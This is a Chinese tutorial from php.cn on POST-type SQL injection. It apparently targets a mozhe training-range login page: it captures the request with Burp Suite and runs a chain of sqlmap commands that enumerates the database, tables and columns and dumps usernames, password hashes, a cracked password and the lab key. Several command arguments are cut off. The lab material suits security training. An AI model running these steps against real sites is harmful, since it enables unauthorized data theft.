本次教程将使用burpsuite、sqlmap和浏览器进行教学。我们将展示如何使用这些工具来进行post型sql注入。
首先,我推荐大家使用AJE-Windows工具包,它包含了所有我们需要的工具,这样就不需要一个个下载,非常方便。
接下来,我将介绍SQLMAP中一些常用的模块参数:
--current-db
--tables
--columns
--dump
让我们开始吧,首先打开AJE-Windows,然后启动SQLMAP和burpsuite。
靶场地址是http://219.153.49.228:45888。
我们随便输入一个账号和密码,然后在burpsuite中开启拦截功能,点击登录按钮。将拦截到的数据包通过右键发送到repeater。
右键选择将文件复制到桌面。
输入文件名并点击保存。
然后输入命令
sqlmap.py -r
--current-db
运行结果显示,这个站点常用的数据库名是
mozhe_Discuz_StormGroup
接下来,我们要获取数据库表名,输入命令
sqlmap.py -r
-D
--tables
结果显示表名是
StormGroup_member
然后我们获取表内的字段,输入命令
sqlmap.py -r
-D
-T
--columns
结果显示表内的字段有
name
password
接下来我们获取用户名和密码,输入命令
sqlmap.py -r
-D
-T
-C
--dump
第一个用户名是
mozhe
356f589a7df439f6f744ff19bb8092c0
cac346c4e78571439ba96bc5a47c01b6
dsan13
我们尝试使用第一个用户名和密码登陆,结果失败了。
然后尝试第二个用户名和密码,第二个密码解密后是
885288
我们使用第二个用户名和密码尝试登陆,结果成功了,获取到的key是
mozhe4953564e012470c2374e45919c2
提交key。
好的,本次教学就到这里。如果你喜欢我的文章,欢迎点赞、关注,并订阅我的专栏,或者加入我的专栏。如果有任何不足之处,欢迎通过QQ3516634930反馈给我。
以上就是POST型SQL注入教学的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号